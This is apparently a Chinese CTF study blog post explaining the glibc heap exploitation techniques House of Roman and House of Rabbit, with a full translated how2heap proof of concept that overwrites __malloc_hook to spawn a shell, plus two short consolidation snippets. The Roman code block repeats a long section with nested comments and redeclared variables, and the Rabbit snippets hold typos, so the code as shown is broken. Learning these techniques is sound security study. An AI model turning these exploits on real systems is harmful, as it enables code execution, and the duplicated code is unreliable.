Zj_W1nd's BLOG

How2Heap(6)——House of Roman & House of Rabbit

2024/04/17

House of Roman

参考看雪上的这篇关于House of Roman的讲解,这个攻击看起来似乎可能比较实用?

glibc 2.29后Unsorted bin attack无法使用,添加了新的检查。且glibc 2.34后移除了__malloc_hook()。这个攻击大致分为以下几个步骤:

  1. 分配一个在malloc_hook附近的chunk,通过一个fastbin的double free或者是什么别的实现。总之最终我们要拥有一个fd内容为malloc_hook-0x23的chunk。然后将这个幻象chunk申请出来。这一步结束的时候我们可以控制malloc_hook附近的内存就可以了。

    笔者为了方便理解,把那些我们精心伪造了结构的内存空间叫做fake_chunk,而那些其实本来并不可利用的,没有“真正”chunk的内存分配成为幻象chunk。

  2. 用unsorted bin attack攻击,在(1)中我们泄露了malloc_hook,用unsorted bin attack将malloc_hook写为main_arena+0x68/0x96,whatever.
  3. 利用1中我们获得的chunk,爆破/写对应的低位,写为one_gadget或system,最后调用malloc(“/bin/sh”)。总体来讲,它的本质思路是通过*某种手段(house of roman为fastbin+unsorted bin+堆风水)*获取一个malloc_hook附近的chunk,然后通过unsortedbin attack改写malloc_hook后爆破低位地址拿到shell。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
#define _GNU_SOURCE     /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";
/*
该技术在GLibC 2.23、2.24上通过how2heap中的glibc_build.sh脚本在Ubuntu 16.04上进行了测试。2.25在Ubuntu 17.04上进行了测试。

编译:gcc -fPIE -pie house_of_roman.c -o house_of_roman

POC由Maxwell Dulin(Strikeout)编写
*/

// 使用此函数关闭printf缓冲(会影响堆对齐)
void* init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
int main(){
/*
该技术的主要目标是创建一种**无泄漏**的堆利用技术,以获取shell。这主要是通过**相对覆写**来实现的,以便在不知道指针的确切值的情况下将指针放置在正确的位置。
第一步是获取__malloc_hook内的指针。这是通过创建一个看起来像下面这样的fastbin bin来完成的:ptr_to_chunk -> ptr_to_libc。然后,我们使用相对覆写来将ptr_to_libc(使用相对覆写)指向__malloc_hook。
下一步是对__malloc_hook运行未排序的bin攻击(现在可以从上一次攻击中控制)。同样,我们使用相对覆写来更改chunk->bk以运行未排序的bin攻击。
最后,在将libc值放入__malloc_hook之后,我们对__malloc_hook的值再次进行相对覆写,以将其指向one_gadget、system或其他函数。
现在,下一次运行malloc时,我们就可以弹出一个shell!:)
但是,这是有代价的:必须暴力破解12位随机数(成功的概率为0.02%)。
*House of Roman*的原始文档可以在以下链接找到:https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions。
此技术要求能够通过UAF或溢出等方式编辑fastbin和unsorted bin指针。此外,还需要对分配大小和释放有良好的控制能力。---->堆风水
*/
char* introduction = "\n欢迎来到罗马之家\n\n"
"这是一种无泄漏的堆利用技术。\n"
"攻击分为三个阶段:\n\n"
"1. 将fastbin块指向__malloc_hook。\n"
"2. 对__malloc_hook运行未排序的bin攻击。\n"
"3. 在__malloc_hook处对main_arena进行相对覆写。\n\n"
"上述所有内容都是使用两个主要概念完成的:相对覆写和堆风水。\n\n"
"然而,这种技术是有代价的:需要暴力破解12位的熵。\n"
"这意味着这种技术只有在每4096次尝试中成功一次,即0.02%的概率。\n"
"**注意**:为了这个漏洞的目的,我们设置了随机值以使其保持一致。\n\n\n";
puts(introduction);
init();
/*
第1部分:Fastbin块指向__malloc_hook
首先,我们需要获得一个在fastbin中具有指向fd的堆块的指针。
然后,我们将该块指向指向LibC的指针(在另一个堆块中)。
为了实现上述配置以执行相对覆写,需要进行大量的堆风水。
有两种方法可以获得指向libC的指针:
- 从small/large/unsorted_bins中拆分一个块,将其分配到0x70的大小。
- 将先前使用的small/large块的大小覆盖为0x71。

为了举例,这里使用了第一种选项,因为它需要更少的漏洞。
*/
puts("第1步:将fastbin块指向__malloc_hook\n\n");
puts("使用堆风水设置相对覆写的块。\n");

// 将此作为稍后编辑堆指针以指向LibC值的UAF块。
uint8_t* fastbin_victim = malloc(0x60);
// 分配此块以获得相对偏移后的良好对齐(只想覆盖一个字节以防止堆上的4位暴力破解)。
malloc(0x80);
// 偏移0x100
uint8_t* main_arena_use = malloc(0x80);
// 偏移0x190
// 此指针将用于对'main_arena_use'块进行相对偏移
uint8_t* relative_offset_heap = malloc(0x60);
// 释放该块以将其放入unsorted_bin中。
// 此块的fd和bk指针都将指向main_arena + 0x68。
free(main_arena_use);

/*
获取unsorted_bin中的一部分块(刚刚释放的块)。
我们想要这个块,因为该块的fd和bk将包含main_arena指针(稍后用于相对覆写)。
该块的大小特别设置为0x60,以将其放入0x70的fastbin中。
这必须是相同的大小,因为__malloc_hook伪造块(稍后使用)使用了0x7f的fastbin大小。malloc中有一个安全检查,要求块的大小与fastbin大小匹配。
*/

puts("分配一个块,其中包含指向LibC main_arena的指针。\n");
// 偏移0x100。fd和bk中有main_arena + 0x68。
uint8_t* fake_libc_chunk = malloc(0x60);
//// 注意:这不是攻击的一部分... \\\
// __malloc_hook是根据偏移计算的,以便找到偏移量,使得此攻击适用于一些GLibC版本。
long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;
// 我们需要填充器,因为下面的覆写需要在fd槽中有一个指针才能工作。
// 释放此块会将一个块放入'fastbin_victim'的fd槽中,以便稍后使用。
free(relative_offset_heap);
/*
在该块上创建UAF。回想一下,fastbin_victim指向的块当前位于偏移0x190(relative_offset_heap)。
*/
free(fastbin_victim);
/*
现在,我们开始进行相对覆写,因为我们已经将指针放置在了正确的位置。了解此布局非常重要。
当前的堆布局:
0x0:fastbin_victim - 大小为0x70
0x70:alignment_filler - 大小为0x90
0x100:fake_libc_chunk - 大小为0x70
0x170:leftover_main - 大小为0x20
0x190:relative_offset_heap - 大小为0x70
bin布局:
fastbin:fastbin_victim -> relative_offset_heap
unsorted:leftover_main
现在,相对覆写开始:
回想一下,fastbin_victim指向relative_offset_heap(位于0x100-0x200偏移范围内)。fastbin使用单链表,下一个块在'fd'槽中。
通过*部分地*编辑fastbin_victim的最后一个字节(从0x90到0x00),我们已将fastbin_victim的fd指针移动到fake_libc_chunk(位于偏移0x100)。
还要注意,fake_libc_chunk之前已经在unsorted_bin中。因此,它具有指向main_arena + 0x68的fd指针。
现在,fastbin如下所示:
fastbin_victim -> fake_libc_chunk ->(main_arena + 0x68)。

下面逐步演示相对覆写(如上所述)。
*/
puts("\
覆写堆块的第一个字节,以将fastbin块指向具有LibC地址的块\n");
puts("\
fastbin 0x70现在如下所示:\n\
heap_addr -> heap_addr2 -> LibC_main_arena\n");
fastbin_victim[0] = 0x00; // 位置在0x100处。但是,我们只想覆盖第一个字节。因此,我们将其设置为0x0以进行模拟UAF
// 原本fastbin_victim指向偏移0x190 的relative_offset_heap,因此只需修改一个字节为0x00就能指向fake_libc_chunk了
// 这些操作都是为了获得一个分配在libc中的fastbin而服务的
/*
现在,我们有一个fastbin,如下所示:
0x70:fastbin_victim -> fake_libc_chunk ->(main_arena + 0x68)
我们希望fake_libc_chunk中的fd指针指向有用的位置。因此,让我们将其编辑为指向__malloc_hook的位置。这样,我们就可以控制一个函数指针。
为此,我们需要一个有效的malloc大小。在__memalign_hook中通常是一个以0x7f开头的地址。因为__memalign_hook值紧接在这之前都是0,我们可以使用一个未对齐的块将其作为有效大小在0x70的fastbin中工作。
这就是前面4位随机数的作用。LibC地址的前12位对于地址是确定性的。但是,接下来的4位(总共2个字节)不是。
因此,我们必须暴力破解16个不同的可能性(16)才能将其放置在正确的位置。这个“位置”对于每个GLibC版本都是不同的(应该注意)。
在进行了这个相对覆写之后,fastbin如下所示:
0x70:fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)。
*/
/*
相对覆写main_arena指针,使其接近__malloc_hook,以创建一个指向__malloc_hook的伪fastbin块。
///// 注意:为了使此攻击一致(不使用硬编码的偏移量进行暴力破解),我们手动设置了这些值。 \\\
在实际攻击中,这些值需要特定于版本,并且某些位必须进行暴力破解(取决于位数)。
*/
puts("\
在fastbin中使用相对覆写将main_arena指针指向附近的位置,以创建一个伪fastbin块\n");
long long __malloc_hook_adjust = __malloc_hook - 0x23; // 我们从malloc中减去0x23,因为我们想使用0x7f作为有效的fastbin块大小。

// 相对覆写
int8_t byte1 = (__malloc_hook_adjust) & 0xff;
int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
fake_libc_chunk[0] = byte1; // 地址的最低有效字节。
fake_libc_chunk[1] = byte2; // 最高的4位必须在真正的攻击中进行暴力破解。

// 在fastbin中的__malloc_hook块之前有两个填充块。
// 这些是fastbin_victim和fake_libc_chunk。
puts("获取指向__malloc_hook附近的伪块\n");
puts("\
在真正的攻击中,这将在15/16次中失败\n\
因为malloc_hook的最后半字节是随机的\n");
malloc(0x60);
malloc(0x60);

// 如果4位暴力破解不起作用,这将导致崩溃,因为块的大小与块的bin不匹配。
// 否则,攻击的下一步可以开始。
uint8_t* malloc_hook_chunk = malloc(0x60);

puts("通过第1步 =)\n\n\n");

/*
第2部分:未排序的bin攻击
现在,我们控制了__malloc_hook的位置。但是,我们仍然不知道LibC的地址。因此,我们无法对此攻击做太多事情。为了弹出shell,我们需要在__malloc_hook的位置获取一个地址。
我们将使用未排序的bin攻击,将__malloc_hook的值更改为main_arena + 0x68。有关未排序的bin攻击的更多信息,请参阅https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c。

简要概述一下,未排序的bin攻击允许我们通过更改unsorted_bin块的chunk->bk来将main_arena + 0x68的值写入任何位置。我们将选择将其写入__malloc_hook的位置。
在我们使用未排序的bin攻击将__malloc_hook覆写为main_arena之后,我们将使用相对覆写(再次)来将指针更改为one_gadget,以实现立即代码执行。
再次强调,这种相对覆写效果很好,但需要额外的1字节(8位)的暴力破解。
这将使成功尝试的机会增加到12位的随机性。这大约有1/4096或0.0244%的成功概率。
第二阶段攻击的步骤将在下面的说明中解释。
*/

puts("\
开始第2步:未排序的bin攻击\n\n\
未排序的bin攻击使我们能够将大值写入到任何位置。但是,我们无法控制该值。该值始终为main_arena + 0x68。\n\
我们将将未排序的bin攻击指向__malloc_hook,以进行稍后的相对覆写。\n");
// 获取要破坏的块。添加另一个指针以防止释放时合并。

uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // 不想合并

puts("将块放入unsorted_bin中\n");
// 释放该块以创建UAF
free(unsorted_bin_ptr);
/* /// 注意:byte2的最后4位在之前已经进行了暴力破解。然而,为了举例,这是动态计算的。 \\\
*/
__malloc_hook_adjust = __malloc_hook - 0x10; // 这减去0x10是因为chunk->fd在未排序的bin攻击中实际进行了覆写。
byte1 = (__malloc_hook_adjust) & 0xff;
byte2 = (__malloc_hook_adjust & 0xff00) >> 8;


// 使用另一个相对偏移来覆写chunk->bk指针的ptr。
// 根据之前的暴力破解(来自4位),我们知道此位置的位置。它距离__malloc_hook有5个字节的距离。
puts("覆写块的最后两个字节,以指向__malloc_hook\n");
unsorted_bin_ptr[8] = byte1; // bk的第0字节。
// //// 注意:通常,第二个字节的后半部分必须进行暴力破解。然而,为了举例,我们设置了这个值以使攻击保持一致。///
unsorted_bin_ptr[9] = byte2; // bk的第1字节。其中的第二个4位必须在之前的攻击中进行暴力破解。

/*

// 在fastbin中__malloc_hook块之前的两个填充块。
// 这些是fastbin_victim和fake_libc_chunk。
puts("获取指向__malloc_hook附近的伪造块\n");
puts("\
在实际攻击中,这将在15/16次中失败\n\
因为__malloc_hook的最后半字节是随机的\n");
malloc(0x60);
malloc(0x60);

// 如果4位暴力破解失败,这将导致崩溃,因为块的大小与块的bin不匹配。
// 否则,攻击的下一步可以开始了。
uint8_t* malloc_hook_chunk = malloc(0x60);

puts("通过第1步 =)\n\n\n");

/*
第2部分:未排序的bin攻击
现在,我们控制了__malloc_hook的位置。
然而,我们仍然不知道LibC的地址。所以,我们不能对这个攻击做太多事情。
为了弹出一个shell,我们需要在__malloc_hook的位置得到一个地址。
我们将使用未排序的bin攻击,将__malloc_hook的值更改为main_arena + 0x68。
有关未排序的bin攻击的更多信息,请参阅https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c。
简要概述一下,未排序的bin攻击允许我们通过更改unsorted_bin块的chunk->bk将main_arena + 0x68的值写入任何位置。
我们将选择将其写入__malloc_hook的位置。
在我们使用未排序的bin攻击将__malloc_hook覆写为main_arena之后,我们将使用相对覆写(再次)来将指针更改为one_gadget,以实现立即代码执行。
再次强调,这种相对覆写效果很好,但需要额外的1字节(8位)的暴力破解。
这将使成功尝试的机会增加到12位的随机性。这大约有1/4096或0.0244%的成功概率。
下面的说明将解释第二阶段攻击的步骤。
*/

puts("\
开始第2步:未排序的bin攻击\n\n\
未排序的bin攻击使我们能够将大值写入到任何位置。但是,我们无法控制该值。该值始终为main_arena + 0x68。\n\
我们将将未排序的bin攻击指向__malloc_hook,以进行稍后的相对覆写。\n");

// 获取要破坏的块。添加另一个指针以防止释放时合并。
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // 不想合并
puts("将块放入未排序的bin中\n");
// 释放块以创建UAF
free(unsorted_bin_ptr);
/* /// 注意:byte2的最后4位在之前已经进行了暴力破解。然而,为了举例,这是动态计算的。 \\\*/
__malloc_hook_adjust = __malloc_hook - 0x10; // 这减去0x10是因为chunk->fd在未排序的bin攻击中实际进行了覆写。
byte1 = (__malloc_hook_adjust) & 0xff;
byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
// 使用另一个相对偏移来覆写chunk->bk指针的ptr。
// 根据之前的暴力破解(来自4位),我们知道此位置的位置。它距离__malloc_hook有5个字节的距离。
puts("覆写块的最后两个字节,以指向__malloc_hook\n");
unsorted_bin_ptr[8] = byte1; // bk的第0字节。
// //// 注意:通常,第二个字节的后半部分必须进行暴力破解。然而,为了举例,我们设置了这个值以使攻击保持一致。///
unsorted_bin_ptr[9] = byte2; // bk的第1字节。其中的第二个4位必须在之前的攻击中进行暴力破解。
/*
触发未排序的bin攻击。
这将把(main_arena + 0x68)的值写入到bk ptr + 0x10中。
然而,会发生一些事情:
- 这使得未排序的bin(因此,small和large也是如此)不可用。因此,现在只能使用之前在fastbin中分配的分配。
- 如果未分配相同大小的块(未排序的bin攻击块),程序将立即崩溃。
因此,分配请求必须与未排序的bin块的大小相同。
第一点在这个攻击中是完全可以接受的。但是,在更复杂的编程中,这可能是一个问题。
第二个只需要我们做与当前块相同大小的分配。
*/
puts("触发未排序的bin攻击\n");
malloc(0x80); // 触发未排序的bin攻击,将__malloc_hook覆写为main_arena + 0x68
long long system_addr = (long long)dlsym(RTLD_NEXT, "system");
puts("通过第2步 =)\n\n\n");
/*
第3步:将__malloc_hook设置为system
该块本身距离__malloc_hook有19个字节的距离。
因此,我们使用相对覆写(再次)来部分覆写main_arena指针(来自未排序的bin攻击)以指向system。
在实际攻击中,前12位是静态的(每个版本都是如此)。
但是,在此之后,下一个12位必须进行暴力破解。
/// 注意:为了举例,我们将设置这些值,而不是进行暴力破解。 \\\ */

puts("第3步:将__malloc_hook设置为system/one_gadget\n\n");
puts("\
现在,我们在__malloc_hook中有一个指向LibC的指针(来自第2步)\n\
我们可以使用相对覆写将其指向system或one_gadget。\n\
注意:在实际攻击中,这将是最后8位的暴力破解的位置。\n");
malloc_hook_chunk[19] = system_addr & 0xff; // 前12位是静态的(每个版本都是如此)。

malloc_hook_chunk[20] = (system_addr >> 8) & 0xff; // 这的最后4位必须进行暴力破解(之前已经完成)。
malloc_hook_chunk[21] = (system_addr >> 16) & 0xff; // 最后一个字节是剩下的8位,必须进行暴力破解。
malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // 如果数据和文本段之间的间隙非常大,这也是必需的。只是为了安全起见。

// 触发malloc调用以通过从__malloc_hook运行的system调用执行代码。
// 在实际示例中,您可能希望使用one_gadget。
// 但是,为了保持可移植性,我们将只使用system并将/bin/sh作为参数添加到指针中。
// 虽然这有点作弊(二进制文件是PIE),如果二进制文件不是PIE,那么在.bss节中有一个指针将可以工作而无需泄漏。
// 要获取system地址(之前为了一致性),二进制文件必须是PIE。因此,地址放在这里。
puts("弹出Shell!");
malloc((long long)shell);

}

完整看完之后感觉按这个poc的流程不是非常实用(需要大量的堆风水,pwn手都是人肉内存分配器是吧)。实战可能会好一些。思路本质比较好理解,整个poc个人感觉最抽象的部分是第一步的堆风水。复杂的这些堆排布最终实现的目的是只通过malloc和free获得一个malloc_hook附近的堆块。

在堆非常干净的情况下,作者是这么操作的,可以借助这个例子了解一下堆风水:

  • 拿一个0x60的fastbin chunk 1(实际大小0x70)

  • 分配一个不用的chunk,大小0x80,实际大小0x90,此时相对堆基址的偏移来到了0x100,这灵性的一步是为了待会我们改一个字节就能修改指针指向的chunk

  • 分配一个0x80的chunk 2,等会放入unsorted bin

  • 分配一个0x60的fastbin chunk 3,该chunk的偏移地址来到了0x190

  • 释放chunk2,放入unsorted bin,此时其fd和bk存有main_arena+0x68

  • 取0x60大小的chunk4(fake_libc_chunk),会从chunk2中进行分割,带有main_arena地址

  • 读取取出的chunk4,泄露main_arena地址然后计算偏移获取malloc_hook

  • 释放chunk3,放入fastbin

  • 释放chunk1,接入fastbin链表头,其fd指向chunk3(0x190)

  • 模拟一个UAF,写chunk1的fd一字节0x00将其fd指向0x100的chunk2(chunk 4)

  • 写chunk4,修改低位地址令其fd指向目标地址

  • 最后将fastbin中的chunk1和3取出,再次取就取到了malloc_hook-0x23处的chunk
    参考代码中如下注释:

1
2
3
4
5
6
7
8
9
10
11
12
/*
当前的堆布局:
0x0:fastbin_victim - 大小为0x70
0x70:alignment_filler - 大小为0x90
0x100:fake_libc_chunk - 大小为0x70
0x170:leftover_main - 大小为0x20
0x190:relative_offset_heap - 大小为0x70

bin布局:
fastbin:fastbin_victim -> relative_offset_heap
unsorted:leftover_main
*/

这个例子后面部分不再多解释,这个poc前面的堆风水操作是冲着“尽可能少的爆破字节”进行设计的,针对我们没有任何地址泄露的情况使用。

House of Rabbit

How2heap里没有,看CTF Wiki看到的,思路比较简单,就跟着放在这里。
fastbin分配的时候对size的检查很严,但在调用malloc_consolidate()的时候反而一点都没检查size。因此这个漏洞主要实现的是通过篡改fastbin的size或fd,通过consolidate将我们伪造的chunk简单合法的放入bin中。下面放ctfwiki上的两个简单poc

POC

修改size

1
2
3
4
5
6
7
8
9
unsigned long* chunk1=malloc(0x40); //0x602000
unsigned long* chunk2=malloc(0x40); //0x602050
malloc(0x10);
free(chunk1);
free(chunk2);

chunk1[-1]=0xa1; //modify chunk1 size to be 0xa1
malloc(0x1000); //allocate a large chunk, trigger malloc consolidate
/*Chunk1 overlap with chunk2 now*/

修改fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned long* chunk1=malloc(0x40); //0x602000
unsigned long* chunk2=malloc(0x100);//0x602050

chunk2[1]=0x31; //fake chunk size 0x30
chunk2[7]=0x21 //fake chunk's next chunk
chunk2[11]=0x21 //fake chunk's next chunk's next chuck
// 疑似为了绕过unlink
free(chunk1);
chuck1[0]=0x602060;// modify the fd of chunk1
/*
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x602000 --> 0x602060 (size error (0x30)) --> 0x0
*/
malloc(5000);// malloc a big chunk to trigger malloc consolidate
/*

*/

只要惦记着malloc_consolidate可能就够了吧。

CATALOG
  1. 1. House of Roman
    1. 1.1. POC
  2. 2. House of Rabbit
    1. 2.1. POC
      1. 2.1.1. 修改size
      2. 2.1.2. 修改fd